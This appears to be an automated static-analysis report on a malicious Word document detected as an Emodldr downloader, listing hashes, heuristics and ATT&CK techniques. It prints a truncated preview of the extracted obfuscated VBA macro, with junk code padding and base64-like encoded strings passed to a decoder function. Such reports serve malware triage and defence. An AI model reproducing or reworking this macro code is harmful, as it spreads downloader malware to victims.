Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47312c62f2e3eaf7…

MALICIOUS

Office (OLE)

194.5 KB Created: 2018-03-21 13:42:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: 683cab65981542e47d3a1381cce9efb1 SHA-1: e6260c48b36abce77c996ab5d4f907f8669f5ade SHA-256: 47312c62f2e3eaf7c8590f1f7086d3c91d0d0101adbb7a9ff5d8b15c35b925f0
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, including an AutoOpen macro and CreateObject calls, which are indicative of malicious intent. The presence of legacy WordBasic and Excel 4.0 macros further supports this. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' suggests it's a known downloader. The VBA script, though obfuscated, likely attempts to download and execute a second-stage payload, aligning with the 'Emodldr' family's typical behavior.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70137 bytes
SHA-256: 9f8576edc651633bfa901584406da3c9df74a58899b5e3affa0da9c432928854
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OoUGIPmH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DzdITkQ"
Function jkQLKTBdibHwj()
On Error Resume Next
Select Case qlYDlA
         Case 94482
            dHkGj = AuSkOB
            RrFtCM = Nivbo
            SFisWR = Cos(76926 * CBool(99495))
         Case 59539
            uHVjwE = 20959
            GrOYtT = Fix(18928)
            nhnvLJ = Oct(35794)
End Select
PhfspQYcSc = lsqkpT("b@O.NAYDA2AwYAYGA1AAZAgDAyAwYAADAxAgNAIGA2AAZAQDA3AQMAQ7nwY", 5 + 0, 51 + 0)
Select Case NuPZNz
         Case 25670
            mRLmhj = JXwUw
            uLLjn = GMjPlo
            SCollJ = Cos(58077 * CBool(68231))
         Case 71778
            HXBGNi = 45407
            oWYTi = Fix(7502)
            aSGTDC = Oct(50207)
End Select
Select Case SORmUl
         Case 33169
            vJfrY = vqbza
            DKJOkq = tzPRNQ
            KPndc = Cos(97185 * CBool(47382))
         Case 60088
            krjkS = 79016
            EzzisH = Fix(11413)
            CiIXW = Oct(61369)
End Select
oTfLzHwz = lsqkpT("hlzZAMGAlBQZAYDAxAwNAQGAjBwYAEDAjBQYAYDA4AQYAEDA4AQYAMGAmBwNAgDAwAgYAYDA3AQOAwHA9AQPAEFACBQUAQDAvBwKAUGAB,8pTv", 6 + 0, 102 + 0)
Select Case RaRtjD
         Case 95239
            bXYmY = BFKEz
            UPmND = kbwqB
            rsZIS = Cos(49104 * CBool(17243))
         Case 91775
            aVGUU = 64851
            AYwSWU = Fix(47136)
            oEqWT = Oct(42546)
End Select
Select Case UToiKT
         Case 12386
            QKCbsM = GrwdBp
            hMMOq = pzOYzT
            cIOdIR = Cos(46283 * CBool(15754))
         Case 29610
            ZQOdj = 36350
            KGkJlc = Fix(36234)
            dIwSvi = Oct(54318)
End Select
aGmuzItl = lsqkpT("F9JwAjBwYAgDAiBQOAQDA0AQNAYGAkBgMAADA1AAMAMDAlBQNAYDAwAANAIDAiBQYAYGA5AAZAIDAyAgNAUGA3AgMAcDAxAwMAADA2AQMAMDA0AQNAQcIC", 4 + 0, 111 + 0)
Select Case RNzcS
         Case 39291
            RCSqmz = TGiQNs
            kqjvhf = ZpTrz
            zQmpfp = Cos(42373 * CBool(37840))
         Case 14212
            ljwBp = 85404
            iQjpjX = Fix(32985)
            locrNw = Oct(98533)
End Select
Select Case BvhBd
         Case 24365
            wppqlR = LNQrHa
            SBWjm = zNvOC
            BKNrZZ = Cos(3888 * CBool(34265))
         Case 901
            CjrWBq = 90079
            zAHjj = Fix(88949)
            Rqsuk = Oct(89252)
End Select
ojJwHnCiH = lsqkpT("99OTAQZAUDAxAQOAMGAhBwNAEGAlBwYAMDAhBQNAcDA5AQOAUGAlBQMAQDAmBQNAEDA5AQYAgDA3AANAUGA3AAZAUDA2AQYAcDAhBwMAUDAkBQOAQDAiBgNAcSz", 4 + 0, 116 + 0)
Select Case nLPXzW
         Case 81001
            FIYbz = sQSHTn
            CSSbT = IiJWPw
            tfGdsY = Cos(33732 * CBool(59233))
         Case 89137
            KHvVYa = 49485
            RHJksw = Fix(93701)
            qhjwlJ = Oct(59436)
End Select
Select Case OVDHCm
         Case 38026
            KqnSkm = bXKzi
            SilFt = jNrjk
            HKiFt = Cos(17920 * CBool(97742))
         Case 46483
            vQDhB = 73518
            YnQFSO = Fix(92957)
            RBJOkY = Oct(37184)
End Select
jbPEnSW = lsqkpT("1U7MAIGAzAgMAUGAwAgMAQGAzAAZAADAlBQYAkDAmBQNAADAzAwMAgDA5AgNAMDAiBgZAIDAiBgNAIGA2AgZAcDAiBAZAQGA2AAMAYGAhBwNAMDAiBQMAUDAhBg36GP", 5 + 0, 120 + 0)
Select Case CKcbm
         Case 42191
            BAFsWS = YsmHoE
            fqtOr = rzknAc
            BXYKp = Cos(4470 * CBool(16677))
         Case 28404
            MVaUk = 56898
            bdjPn = Fix(44203)
            jNuin = Oct(2964)
End Select
Select Case zllIz
         Case 38393
            miMcZW = uuhlCz
            BdSWn = trJGSQ
            fojwJ = Cos(14033 * CBool(74932))
         Case 785
            mCEAi = 60459
            FwrImz = Fix(14420)
            mLpzv = Oct(49101)
End Select
uzYYLSqT = lsqkpT("IK3AJAIDAiBAMAADA0AQZA
... (truncated)

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